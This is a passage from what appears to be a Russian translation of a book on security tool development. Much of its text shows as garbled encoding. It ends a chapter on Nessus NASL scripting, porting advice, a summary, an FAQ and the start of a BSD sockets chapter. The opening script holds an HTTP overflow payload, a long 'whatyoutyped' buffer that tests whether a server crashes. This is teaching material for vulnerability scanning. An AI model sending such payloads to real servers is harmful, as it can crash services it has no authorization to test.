%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n
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 99 Content-Type: application/x-www-form-urlencoded\r\n
100 Connection: Keep-Alive\r\n
101 Cookie: VARIABLE=SPLABS; path=/\r\n
102 User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n
103 Variable: result\r\n
104 Host: localhost\r\n
105 Content-length:     513\r\n
106 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
    image/png\r\n
107 Accept-Encoding: gzip\r\n
108 Accept-Language: en\r\n
109 Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n
110
whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";
111
112     # îòïðàâëÿåì ïîëåçíóþ íàãðóçêó
113     send(socket:soc, data:payload);
114     r = http_recv(socket:soc);
115     http_close_socket(soc);
116
117     # åñëè ñåðâåð óïàë, ñîîáùèòü î ñåðüåçíîé óÿçâèìîñòè
118     if ( http_is_dead(port:port) ) security_hole(port);
119   }
120 }

Ïåðåíîñ ñ ÿçûêà NASLÏåðåíîñ ñ ÿçûêà NASLÏåðåíîñ ñ ÿçûêà NASLÏåðåíîñ ñ ÿçûêà NASLÏåðåíîñ ñ ÿçûêà NASL
Ìîæíî âûïîëíèòü îáðàòíûé ïðîöåññ è ïåðåíåñòè ïðîãðàììó ñ NASL íà äðó-
ãèå ÿçûêè. Äëÿ òàêîãî æåëàíèÿ ìîæåò áûòü íåñêîëüêî ïðè÷èí:

� NASL ðàáîòàåò ìåäëåííåå, ÷åì Perl èëè Java, è çíà÷èòåëüíî ìåäëåííåå,
÷åì C èëè C++. Íàëè÷èå áàçû çíàíèé è ïîâûøåíèå ïðîèçâîäèòåëüíî-
ñòè ïðè ïåðåõîäå îò NASL1 ê NASL2 íåñêîëüêî óìåíüøèëè ðàçíèöó,
íî, êîãäà íàäî ïðîñêàíèðîâàòü áîëüøóþ ñåòü, ýòîò ôàêòîð âñå æå ñëå-
äóåò ïðèíèìàòü âî âíèìàíèå;

� Âàì ìîæåò ïîíàäîáèòüñÿ âêëþ÷èòü ôóíêöèîíàëüíîñòü NASL-ñöåíàðèÿ
â äðóãîé èíñòðóìåíò (íàïðèìåð, óòèëèòó ïîèñêà óÿçâèìîñòåé, ÷åðâü, âè-
ðóñ èëè èíñòðóìåíòàëüíûé êîìïëåêò);

� Âû ìîæåòå çàõîòåòü çàïóñòèòü ñöåíàðèé íå èç Nessus, à, íàïðèìåð, ïðÿ-
ìî èç Web-ñåðâåðà.

Åñëè âû íå âëàäååòå â ñîâåðøåíñòâå ÿçûêîì, íà êîòîðûé ñîáèðàåòåñü ïåðå-
íîñèòü ïðîãðàììó, òî ïåðåâîä ñ NASL ìîæåò îêàçàòüñÿ ñëîæíåå, ÷åì ïåðåâîä
íà NASL. Äåëî â òîì, ÷òî Nessus ïðåäñòàâëÿåò ñîáîé ñðåäó ïðîãðàììèðîâà-
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íèÿ, êîòîðàÿ âêëþ÷àåò áàçó çíàíèé, áèáëèîòåêó ôóíêöèé è ìíîãîå äåëàåò çà
âàñ. Ïðîãðàììèðîâàíèå ðàáîòû ñ ñîêåòàìè, ìåõàíèçìà ðåãóëÿðíûõ âûðàæå-
íèé è ïîèñêà â ñòðîêàõ – î÷åíü íåïðîñòàÿ çàäà÷à, åñëè ðåøàòü åå íà êîìïèëè-
ðóåìîì ÿçûêå. Äàæå ïðè èñïîëüçîâàíèè áèáëèîòåêè Perl Compatible Regular
Expressions (PCRE – ðåãóëÿðíûå âûðàæåíèÿ, ñîâìåñòèìûå ñ Perl) äëÿ C++ äëÿ
îäíîãî òîëüêî ñîïîñòàâëåíèÿ ñ îáðàçöîì ìîæåò ïîíàäîáèòüñÿ íàïèñàòü äî
25 ñòðîê êîäà. Åñëè ãîâîðèòü î ñëîæíîñòè, òî òðóäíåå âñåãî ïåðåíîñèòü êîä
äëÿ ðàáîòû ñ ñîêåòàìè. Âñå, êîíå÷íî, çàâèñèò îò öåëåâîãî ÿçûêà, íî íå èñ-
êëþ÷åíî, ÷òî ïðèäåòñÿ çàíîâî ðåàëèçîâûâàòü ìíîãèå áàçîâûå ìåõàíèçìû
èëè èñêàòü ñïîñîá âêëþ÷èòü â ñâîé ïðîåêò ñóùåñòâóþùèå áèáëèîòåêè. Âîò
íåñêîëüêî ïðàâèë, êîòîðûå ñòîèò ïîìíèòü ïðè ïåðåíîñå ñöåíàðèåâ ñ NASL
íà äðóãèå ÿçûêè:

1. Ñîáåðèòå óÿçâèìóþ ñèñòåìó-æåðòâó è ïîäãîòîâüòå ëîêàëüíûé àíàëèçà-
òîð ïðîòîêîëîâ (ñíèôåð). Ýòà ñèñòåìà áóäåò èñïîëüçîâàòüñÿ äëÿ ñðàâíå-
íèÿ èñõîäíîãî ñöåíàðèÿ è íàïèñàííîé âàìè ïðîãðàììû, à àíàëèçàòîð
ïîìîæåò óáåäèòüñÿ, ÷òî â îáîèõ ñëó÷àÿõ ïîñûëàåòñÿ â òî÷íîñòè îäèíà-
êîâàÿ ïîñëåäîâàòåëüíîñòü áèòîâ.

2. Ïðè ïåðåíîñå â ïåðâóþ î÷åðåäü çàéìèòåñü ñîçäàíèåì ñîêåòîâ. Êîãäà
ïðîãðàììà íàó÷èòñÿ ïîñûëàòü ëþáûå äàííûå, ìîæíî áóäåò ïåðåéòè
ê ñîçäàíèþ ïîëåçíîé íàãðóçêè.

3. Åñëè â öåëåâîì ÿçûêå íåò âñòðîåííîé ïîääåðæêè ðåãóëÿðíûõ âûðàæå-
íèé, à â èñõîäíîì NASL-ñöåíàðèè ïðîèçâîäèòñÿ ñîïîñòàâëåíèå ñòðîê
ñ ðåãóëÿðíûìè âûðàæåíèÿìè, òî îáðàòèòåñü ê áèáëèîòåêå PCRE äëÿ
C/C++.

4. Óáåäèòåñü, ÷òî â ïåðåíîñèìîé ïðîãðàììå âñå òèïû äàííûõ îáúÿâëåíû
ïðàâèëüíî.

5. Ïî÷òè âî  âñåõ ÿçûêàõ (êðîìå  Javascri pt, Perl è Java) âàì ïðèäåòñÿ ðåàëè-
çîâàòü êàêîé-íèáóäü êëàññ äëÿ ðàáîòû ñî ñòðîêàìè. Ýòî óïðîñòèò êîí-
ñòðóèðîâàíèå ïîëåçíîé íàãðóçêè äëÿ àòàêè è àíàëèç îòâåòîâ.

6. Íàêîíåö, âàøà ïðîãðàììà äîëæíà ñäåëàòü ÷òî-òî ïîëåçíîå. Ïîñêîëüêó
íåëüçÿ âîñïîëüçîâàòüñÿ ôóíêöèåé display èëè ïåðåäàòü îò÷åò îá óÿçâè-
ìîñòè ÿäðó Nessus, òî íåîáõîäèìî îïðåäåëèòü, êàê ïðîãðàììà ñîîá-
ùèò î ðåçóëüòàòå. Â áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî âûâåñòè íà
STDOUT ñîîáùåíèå ÓßÇÂÈÌÀ.

Перенос на языке NASL и наоборот
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Резюме
ßçûê  NASL, ïîäîáíî  ÿçûêó Custom  Audit Scripting Language (CASL – ÿçûê  ñöå-
íàðèåâ äëÿ àóäèòà áåçîïàñíîñòè), ðàñïðîñòðàíÿåìîìó êîìïàíèåé Network Asso-
ciates, Inc. (NAI), ñïðîåêòèðîâàí äëÿ ðàñøèðåíèÿ âîçìîæíîñòåé ìåõàíèçìà àíà-
ëèçà óÿçâèìîñòåé, èìåþùåãîñÿ â áåñïëàòíîé ïðîãðàììå Nessus (www.nessus.org).
Ïðîåêò Nessus, êîòîðûé â 1998 ãîäó çàïóñòèë Ðåíî Äåðåçîí, áûë è îñòàåòñÿ
ñàìûì ïîïóëÿðíûì áåñïëàòíûì ðåøåíèåì çàäà÷è îöåíêè óÿçâèìîñòè ñèñòå-
ìû è óïðàâëåíèÿ áåçîïàñíîñòüþ. Õîòÿ äëÿ ðåàëèçàöèè áîëüøåé ÷àñòè ñðåäñòâ
èäåíòèôèêàöèè õîñòîâ è ñêàíèðîâàíèÿ ïîðòîâ â Nessus èñïîëüçóåòñÿ ïðîòî-
êîë Network Messaging Appl ication Protocol (NMAP – ïðèêëàäíîé ïðîòîêîë ñå-
òåâûõ ñîîáùåíèé), íî óñèëèÿìè âñåìèðíîãî ñîîáùåñòâà ðàçðàáîò÷èêîâ ýòà
ïðîãðàììà îáðîñëà ìíîæåñòâîì ñöåíàðèåâ, êîòîðûå ïðîâåðÿþò âñå àñïåêòû
áåçîïàñíîñòè: íàëè÷èå óñòàíîâëåííûõ ñðî÷íûõ èñïðàâëåíèé (hot-fixes) äëÿ
Windows, îáíàðóæåíèå ñëóæá UNIX è Web, èäåíòèôèêàöèÿ ñåòåâûõ óñò-
ðîéñòâ è âîçìîæíîñòü ïðèñîåäèíåíèÿ ê áåñïðîâîäíûì òî÷êàì äîñòóïà.

NASL – ýòî èíòåðïðåòèðóåìûé ÿçûê, òî åñòü ñèíòàêñè÷åñêèé àíàëèç ïðî-
ãðàììû ïðîèñõîäèò âî âðåìÿ âûïîëíåíèÿ. Â NASL2 âêëþ÷åíû îáúåêòíî-
îðèåíòèðîâàííûå âîçìîæíîñòè, â ÷àñòíîñòè ñîçäàíèå ñîáñòâåííûõ êëàññîâ.
Ïðè ïåðåõîäå îò NASL1 ê NASL2 áûëî ðåàëèçîâàíî íåìàëî óëó÷øåíèé, èç
êîòîðûõ ñàìîå çàìåòíîå – êðàòíîå ïîâûøåíèå ïðîèçâîäèòåëüíîñòè. NASL
îáëàäàåò î÷åíü ïðîñòûì è ïîíÿòíûì API äëÿ ðàáîòû ñ ñîêåòàìè è ñåòåâûìè
ïðîòîêîëàìè, à òàêæå áàçîé çíàíèé, êîòîðàÿ ïîçâîëÿåò õðàíèòü è ïîâòîðíî
èñïîëüçîâàòü ðåçóëüòàòû ðàíåå âûïîëíåííûõ ñöåíàðèåâ. Íàðÿäó ñ áîëüøèì
êîëè÷åñòâîì îáùåäîñòóïíûõ ñöåíàðèåâ, íàïèñàííûõ ñïåöèàëüíî äëÿ Nessus,
áàçà çíàíèé – îäíî èç ñàìûõ ïðèìå÷àòåëüíûõ ñâîéñòâ ïðîäóêòà. Â íåé ìîæ-
íî õðàíèòü âñå, ÷òî óãîäíî: øàïêè ïðèëîæåíèé, ïåðå÷åíü îòêðûòûõ ïîðòîâ
èëè íàéäåííûå ïàðîëè.

Êàê ïðàâèëî, ïåðåíîñ êîäà íà ÿçûê NASL íå âûçûâàåò ñëîæíîñòåé, íî, êî-
íå÷íî, ÷åì äëèííåå èñõîäíàÿ ïðîãðàììà, òåì áîëüøå âðåìåíè ïîòðåáóåòñÿ äëÿ
åå ïåðåíîñà. Ê ñîæàëåíèþ, íå ñóùåñòâóåò îáùåäîñòóïíîãî àâòîìàòè÷åñêîãî
òðàíñëÿòîðà ñ äðóãèõ ÿçûêîâ íà NASL. Ãîðàçäî ñëîæíåå ïåðåíåñòè êîä ñ NASL
íà äðóãîé ÿçûê. Ýòî îáóñëîâëåíî áîëüøèì ÷èñëîì âñòðîåííûõ â ÿçûê ôóíê-
öèé, êîòîðûå íà äðóãîì ÿçûêå ïðèõîäèòñÿ ðåàëèçîâûâàòü ñàìîñòîÿòåëüíî.

Íàïèñàíèå íà NASL ñöåíàðèåâ äëÿ âûïîëíåíèÿ ñëîæíûõ çàäà÷ ìîæåò
çàíÿòü íåñêîëüêî ìèíóò, ÷àñîâ èëè äíåé â çàâèñèìîñòè îò îáúåìà óæå ïðîäå-
ëàííîé ðàíåå êåì-òî ðàáîòû. Ñàìîå ñëîæíîå – îïðåäåëèòü ïîñëåäîâàòåëü-
íîñòü àòàêè è ðåøèòü, êàêàÿ ðåàêöèÿ æåðòâû ñâèäåòåëüñòâóåò î íàëè÷èè
óÿçâèìîñòè. NASL – ýòî âåëèêîëåïíûé ÿçûê äëÿ ñîçäàíèÿ ñöåíàðèåâ, îòíîñÿ-
ùèõñÿ ê áåçîïàñíîñòè, íàâåðíîå, íàèáîëåå ñîâðåìåííûé è ê òîìó æå ñîâåð-
øåííî áåñïëàòíûé.
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Обзор изложенного материала
Ñèíòàêñèñ ÿçûêà NASLÑèíòàêñèñ ÿçûêà NASLÑèíòàêñèñ ÿçûêà NASLÑèíòàêñèñ ÿçûêà NASLÑèíòàêñèñ ÿçûêà NASL

� Ïåðåìåííûå íå îáÿçàòåëüíî îáúÿâëÿòü çàðàíåå. Ïðåîáðàçîâàíèå òè-
ïîâ, à òàêæå âûäåëåíèå è îñâîáîæäåíèå ïàìÿòè ïðîèçâîäÿòñÿ àâòîìà-
òè÷åñêè.

� Ñóùåñòâóåò äâà âèäà ñòðîê: «÷èñòûå» è «íåî÷èùåííûå». Íåî÷èùåííûå
ñòðîêè çàêëþ÷àþòñÿ â äâîéíûå êàâû÷êè, escape-ïîñëåäîâàòåëüíîñòè
â íèõ íå ïðåîáðàçóþòñÿ. ×èñòûå ñòðîêè îáîçíà÷àþòñÿ îäèíî÷íûìè êà-
âû÷êàìè Âñòðîåííàÿ ôóíêöèÿ string ïðåîáðàçóåò «î÷èùàåò» ñòðîêè ïó-
òåì èíòåðïðåòàöèè escape-ïîñëåäîâàòåëüíîñòåé. Òàê, íåî÷èùåííàÿ
ñòðîêà «City\tState» áóäåò ïðåîáðàçîâàíà â ÷èñòóþ ñòðîêó «City State».

� Íå ñóùåñòâóåò îòäåëüíîãî áóëåâñêîãî òèïà. Íî èìåþòñÿ êîíñòàíòû
TRUE è FALSE, îïðåäåëåííûå êàê 1 è 0 ñîîòâåòñòâåííî.

Íàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASLÍàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASLÍàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASLÍàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASLÍàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASL
� Ñöåíàðèè íà NASL ïðåñëåäóþò îäíó èç äâóõ öåëåé. Îäíè ïèøóòñÿ äëÿ

ëè÷íîãî óïîòðåáëåíèÿ è âûïîëíÿþò êîíêðåòíûå çàäà÷è, êîòîðûå
áîëüøå íèêîìó ìîãóò áûòü íå èíòåðåñíû. Äðóãèå ïðîâåðÿþò íàëè÷èå
óÿçâèìîñòåé èëè îøèáîê êîíôèãóðèðîâàíèÿ è ìîãóò áûòü ïîäàðåíû
âñåìó ñîîáùåñòâó ïîëüçîâàòåëåé Nessus äëÿ ïîâûøåíèÿ ñòåïåíè áåçî-
ïàñíîñòè ñåòåé âî âñåì ìèðå.

� Â NASL åñòü äåñÿòêè âñòðîåííûõ ôóíêöèé, îáåñïå÷èâàþùèõ ïðîñòîé
äîñòóï ê óäàëåííûì õîñòàì ïî ïðîòîêîëàì TCP è UDP. Îíè ïîçâîëÿþò
îòêðûâàòü è çàêðûâàòü ñîêåòû, ïîñûëàòü è ïðèíèìàòü ñòðîêè, îïðåäå-
ëÿòü, «âûæèë» ëè õîñò ïîñëå àòàêè è ïîëó÷àòü ðàçëè÷íóþ èíôîðìàöèþ
î õîñòå, íàïðèìåð, åãî èìÿ, IP-àäðåñ è ñëåäóþùèé îòêðûòûé ïîðò.

� Åñëè Nessus ñîáðàíà ñ áèáëèîòåêîé OpenSSL, òî èíòåðïðåòàòîð ïðåäî-
ñòàâëÿåò ôóíêöèè, êîòîðûå âîçâðàùàþò ðàçëè÷íûå êðèïòîãðàôè÷å-
ñêèå ñâåðòêè è êîíòðîëüíûå ñóììû. Â ÷àñòíîñòè, ïîääåðæèâàþòñÿ àë-
ãîðèòìû MD2, MD4, MD5, RIPEMD160, SHA è SHA1.

� Â NASL åñòü ôóíêöèè äëÿ ðàñùåïëåíèÿ ñòðîê, ñîïîñòàâëåíèÿ ñ ðåãóëÿð-
íûìè âûðàæåíèÿìè, óäàëåíèÿ õâîñòîâûõ ïðîáåëîâ, âû÷èñëåíèÿ äëèíû
ñòðîêè è ïðåîáðàçîâàíèÿ ðåãèñòðà áóêâ â ñòðîêå.

Ñöåíàðèè íà ÿçûêå NASLÑöåíàðèè íà ÿçûêå NASLÑöåíàðèè íà ÿçûêå NASLÑöåíàðèè íà ÿçûêå NASLÑöåíàðèè íà ÿçûêå NASL
� ×òîáû ìîæíî áûëî ïðåäîñòàâèòü ñâîé ñöåíàðèé â îáùåå ïîëüçîâàíèå,

íåîáõîäèìî ñëåäîâàòü îïðåäåëåííûì ïðàâèëàì: äîáàâèòü çàãîëîâîê,
êðàòêîå è äåòàëüíîå îïèñàíèå è äðóãóþ èíôîðìàöèþ, íåîáõîäèìóþ
ÿäðó Nessus.

Обзор изложенного материала
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� Ïîëüçîâàòüñÿ áàçîé çíàíèé íåòðóäíî ïî äâóì ïðè÷èíàì:
� Äîñòóï ê íåé ïðîñò è ïîçâîëÿåò íå òðàòèòü óñèëèÿ íà òàêèå âåùè

êàê èçâëå÷åíèå øàïêè, ñêàíèðîâàíèå ïîðòîâ è ïîâòîðíóþ ðåàëè-
çàöèþ ôóíêöèîíàëüíîñòè ñàìîé áàçû çíàíèé;

� Nessus àâòîìàòè÷åñêè ïîðîæäàåò íîâûå ïðîöåññû, åñëè áàçà çíàíèé
âîçâðàùàåò áîëåå îäíîãî ðåçóëüòàòà.

Ïåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíîÏåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíîÏåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíîÏåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíîÏåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíî
� Ïåðåíîñ ïðîãðàììû – ýòî ïðîöåäóðà ïåðåâîäà åå êîäà ñ îäíîãî ÿçûêà íà

äðóãîé. Êîíöåïòóàëüíî ýòî íåñëîæíî, íî íà ïðàêòèêå ìîãóò âîçíèê-
íóòü ñåðüåçíûå çàòðóäíåíèÿ èç-çà íåîáõîäèìîñòè äîñòàòî÷íîãî âëàäå-
íèÿ îáîèìè ÿçûêàìè.

� NASL èìååò áîëüøå îáùåãî ñ òàêèìè ÿçûêàìè, êàê Perl è C, ÷åì ñ æåñ-
òêî ñòðóêòóðèðîâàííûìè ÿçûêàìè òèïà Java è Python.

� Ñèíòàêñè÷åñêè C è NASL î÷åíü ïîõîæè, íî NASL ïîääåðæèâàåò ñëàáî
òèïèçèðîâàííûå ïåðåìåííûå è óäîáíûå âûñîêîóðîâíåâûå ôóíêöèè
ìàíèïóëèðîâàíèÿ ñòðîêàìè, íàïîìèíàþùèå òî, ÷òî åñòü â Perl. Òè-
ïè÷íûé NASL-ñöåíàðèé ñîäåðæèò ãëîáàëüíûå ïåðåìåííûå è ðÿä ôóíê-
öèé äëÿ äîñòèæåíèÿ ïîñòàâëåííîé öåëè.

Ссылки на сайты
Áîëåå ïîäðîáíóþ èíôîðìàöèþ âû íàéäåòå íà ñëåäóþùèõ ñàéòàõ:

� www.nessus.org – îñíîâíîé ñàéò ïðîåêòà Nessus ïîñâÿùåí ðàçðàáîòêå
íîâûõ ñöåíàðèåâ äëÿ îáíàðóæåíèÿ óÿçâèìîñòåé;

� www.tenablesecurity.com – ñàéò êîììåð÷åñêîé êîìïàíèè Tenable
Security, çàíèìàþùåéñÿ ðàçðàáîòêîé ïðîäóêòîâ äëÿ îöåíêè óÿçâèìîñòè
ñèñòåì, â êîòîðûõ èñïîëüçóþòñÿ íàïèñàííûå äëÿ Nessus ñöåíàðèè. Ñàìà
ïðîãðàììà Nessus áûëà ñîçäàíà äèðåêòîðîì ýòîé êîìïàíèè ïî èññëåäî-
âàíèÿì è ðàçðàáîòêàì.
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Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ îòâåòîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Ìîæíî ëè ïðîäîëæàòü ïèñàòü ñöåíàðèè íà ÿçûêå NASL1?
Î:Î:Î:Î:Î: Ïðîñòîé îòâåò – íåò. Âïðî÷åì, íåêîòîðûå NASL1-ñöåíàðèè ìîæåò ðà-

çîáðàòü èíòåðïðåòàòîð NASL2. Îáðàòíîå âûïîëíèìî ãîðàçäî ðåæå. Â NASL2
âêëþ÷åíî ìíîæåñòâî óñîâåðøåíñòâîâàíèé, ïîýòîìó «èçó÷àéòå íîâîå».

Â:Â:Â:Â:Â: Íàñêîëüêî ýôôåêòèâåí NASL ïî ñðàâíåíèþ ñ Perl èëè ÿçûêîì Microsoft
ECMA?

Î:Î:Î:Î:Î: NASL – ýôôåêòèâíûé ÿçûê, íî îí íå ìîæåò ðàâíÿòüñÿ ñ Perl ïî ðàçâèòî-
ñòè ïîääåðæêè, êîëè÷åñòâó ôóíêöèé è áûñòðîäåéñòâèþ. ×òî êàñàåòñÿ èíòåð-
ïðåòàòîðà Microsoft ECMA, òî ýòî áàçîâàÿ òåõíîëîãèÿ, íà êîòîðîé ïîñòðîåíû
òàêèå  ÿçûêè ñöåíàðèåâ Microsoft êàê  Javascri pt è VBScri pt. Îíè áûñòðåå  è,
ñ íåêîòîðîé òî÷êè çðåíèÿ, áîëåå ñîâðåìåííûå, ÷åì Perl. Îáúåêòíî-îðèåíòè-
ðîâàííàÿ ìîäåëü â íèõ ÷èùå è ïðîùå äëÿ ðàáîòû, íî ê ÷èñëó íåäîñòàòêîâ
ñëåäóåò îòíåñòè ïðèâÿçêó ê ïëàòôîðìå Windows.

Â:Â:Â:Â:Â: Åñòü ëè àâòîìàòè÷åñêèå òðàíñëÿòîðû äëÿ ïåðåíîñà íà NASL èëè îáðàòíî?
Î:Î:Î:Î:Î: Íåò. Âî âðåìÿ ðàáîòû íàä ýòîé êíèãîé íå ñóùåñòâîâàëî îáùåäîñòóï-

íûõ èíñòðóìåíòîâ òàêîãî ðîäà.

Â:Â:Â:Â:Â: Ìîæíî ëè ïîâòîðíî èñïîëüçîâàòü îáúåêòû, íàïèñàííûå íà NASL, êàê
â äðóãèõ îáúåêòíî-îðèåíòèðîâàííûõ ÿçûêàõ?

Î:Î:Î:Î:Î: Ïîñêîëüêó NASL – ÿçûê ñöåíàðèåâ, òî ìåõàíèçì ïîâòîðíîãî èñïîëüçî-
âàíèÿ – ýòî êîïèðîâàíèå òåêñòà èç ñòàðîãî ïðîåêòà â íîâûé. Íî âû ìîæåòå
ðàñøèðèòü ÿçûê, ïîñêîëüêó åãî èñõîäíûå òåêñòû äîñòóïíû. NASL – ýòî äî-
ïîëíèòåëüíûé ìåõàíèçì, ðàáîòàþùèé â ñðåäå Nessus, êîòîðàÿ îáåñïå÷èâàåò
îáìåí äàííûõ ìåæäó NASL-ñöåíàðèÿìè. Èíîãäà ýòó òåõíîëîãèþ íàçûâàþò
ðåêóðñèâíûì àíàëèçîì.

Â:Â:Â:Â:Â: Ìîæíî ëè îäíîâðåìåííî çàïóñêàòü íåñêîëüêî NASL-ñöåíàðèåâ èç êî-
ìàíäíîé ñòðîêè?

Î:Î:Î:Î:Î: Ê ñîæàëåíèþ, íåò. Íî íåòðóäíî íàïèñàòü íà äðóãîì ÿçûêå, âîçìîæíî íà
Perl, îáîëî÷êó äëÿ êîìàíäíîãî èíòåðïðåòàòîðà NASL, êîòîðàÿ áóäåò çàïóñ-
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êàòü íåñêîëüêî ýêçåìïëÿðîâ èíòåðïðåòàòîðà, èñïîëíÿþùèõ ñöåíàðèè, îáðà-
ùåííûå ê ðàçíûì õîñòàì. Ìîæíî íàçâàòü ýòî ãðóáîé ðåàëèçàöèåé ïàðàë-
ëåëüíîãî ñêàíèðîâàíèÿ.

Â:Â:Â:Â:Â: Êàêîâû òèïè÷íûå ïðèìåíåíèÿ NASL, ïîìèìî îöåíêè óÿçâèìîñòè?
Î:Î:Î:Î:Î: Ñíÿòèå öèôðîâûõ îòïå÷àòêîâ ïðèëîæåíèé, ãåíåðèðîâàíèå ñëó÷àéíûõ

çàïðîñîâ ïî ðàçíûì ïðîòîêîëàì, èäåíòèôèêàöèÿ ïðîãðàìì. Âîò òðè òèïè÷-
íûõ ñïîñîáà ïðèìåíåíèÿ, õîòÿ â êàæäîì ñëó÷àå ëó÷øå íàïèñàòü äëÿ ýòèõ öåëåé
ñïåöèàëèçèðîâàííûå èíñòðóìåíòû íà äðóãèõ ÿçûêàõ, ñêàæåì, íà C èëè C++.
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Введение
BSD-ñîêåòû (ðàçðàáîòàííûå ñîòðóäíèêàìè Êàëèôîðíèéñêîãî óíèâåðñèòåòà
â Áåðêëè) – ýòî ïðîãðàììíûé èíòåðôåéñ äëÿ ìåæïðîöåññíûõ êîììóíèêàöèé
(IPC). Èìåííî ýòîò èíòåðôåéñ ÷àùå âñåãî èñïîëüçóåòñÿ äëÿ ðåàëèçàöèè ñå-
òåâîãî âçàèìîäåéñòâèÿ ìåæäó êîìïüþòåðàìè. Ïðîòîêîëû Internet Protocol
âåðñèè 4 (IPv4), User Datagram Protocol (UDP), Transmission Control Protocol
(TCP) è äðóãèå, â ñîâîêóïíîñòè èìåíóåìûå TCP/IPv4, – ýòî ñòàíäàðò äå-ôàê-
òî äëÿ îáìåíà äàííûìè ìåæäó ïðîöåññàìè, ðàáîòàþùèìè íà ðàçíûõ êîìïü-
þòåðàõ â ñåòè. À äëÿ äîñòóïà ê ýòèì ïðîòîêîëàì èç ïðîãðàììû ïðèìåíÿþòñÿ
BSD-ñîêåòû.

Ñîêåòû ïîçâîëÿþò ðåàëèçîâàòü ðàçëè÷íûå ìîäåëè ìåæïðîöåññíîãî âçàè-
ìîäåéñòâèÿ: îäèí ñ îäíèì, îäèí ñ ìíîãèìè è ìíîãèå ñ ìíîãèìè. Èõ íàçûâàþò
åùå äâóõòî÷å÷íîé ìîäåëüþ, øèðîêîâåùàíèåì è ãðóïïîâûì âåùàíèåì.

Â ýòîé ãëàâå ìû äåòàëüíî ðàññìîòðèì âîïðîñû ïðîãðàììèðîâàíèÿ ñ ïîìî-
ùüþ BSD-ñîêåòîâ, â òîì ÷èñëå ïðîãðàììèðîâàíèå êëèåíòîâ è ñåðâåðîâ äëÿ
ïðîòîêîëîâ TCP è UDP, òîíêóþ íàñòðîéêó ñîêåòîâ ñ ïîìîùüþ ðàçëè÷íûõ îï-
öèé, à òàêæå êîñíåìñÿ òåìû ìíîãîïîòî÷íîñòè â ñåòåâîì ïðîãðàììèðîâàíèè.

Примечание

Все примеры в этой главе были написаны и откомпилированы на
платформе OpenBSD 3.2 / x86 с помощью компилятора GNU C вер�
сии 2.95.3 и оболочки tcsh версии 6.12.00.

Введение в программирование
BSD�сокетов
Èíòåðôåéñ BSD-ñîêåòîâ – ýòî íàáîð ôóíêöèé è òèïîâ äàííûõ. Âïåðâûå îí
ïîÿâèëñÿ â îïåðàöèîííîé ñèñòåìå BSD UNIX â íà÷àëå 1980-õ ãîäîâ, à òåïåðü
âêëþ÷åí ïî÷òè âî âñå âàðèàíòû ñèñòåìû UNIX è ïîääåðæèâàåòñÿ òàêæå íà
ïëàòôîðìå Microsoft Windows (Winsock).

API ñîêåòîâ øèðîêî ïðèìåíÿåòñÿ â ïðîãðàììàõ íà ÿçûêå C äëÿ ðåàëèçàöèè
âçàèìîäåéñòâèÿ ïî ïðîòîêîëàì TCP è UDP. Ñóùåñòâóåò äâà îñíîâíûõ âèäà
ïðèëîæåíèé, â êîòîðûõ èñïîëüçóþòñÿ ñîêåòû: êëèåíò è ñåðâåð. Êëèåíòñêèå
ïðèëîæåíèÿ ñîçäàþò îêîíå÷íóþ òî÷êó êîììóíèêàöèè è èíèöèèðóþò ñåàíñ
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ñâÿçè ñ óäàëåííûì ñåðâåðíûì ïðèëîæåíèåì. Íàïðîòèâ, ñåðâåðíîå ïðèëîæå-
íèå ïàññèâíî îæèäàåò çàïðîñîâ îò êëèåíòà.

È äëÿ êëèåíòà, è äëÿ ñåðâåðà âàæíà èäåÿ îêîíå÷íîé òî÷êè êîììóíèêàöèè,
êîòîðàÿ è íàçûâàåòñÿ «ñîêåòîì». Ñîêåò îäíîçíà÷íî èäåíòèôèöèðóåò ñîåäè-
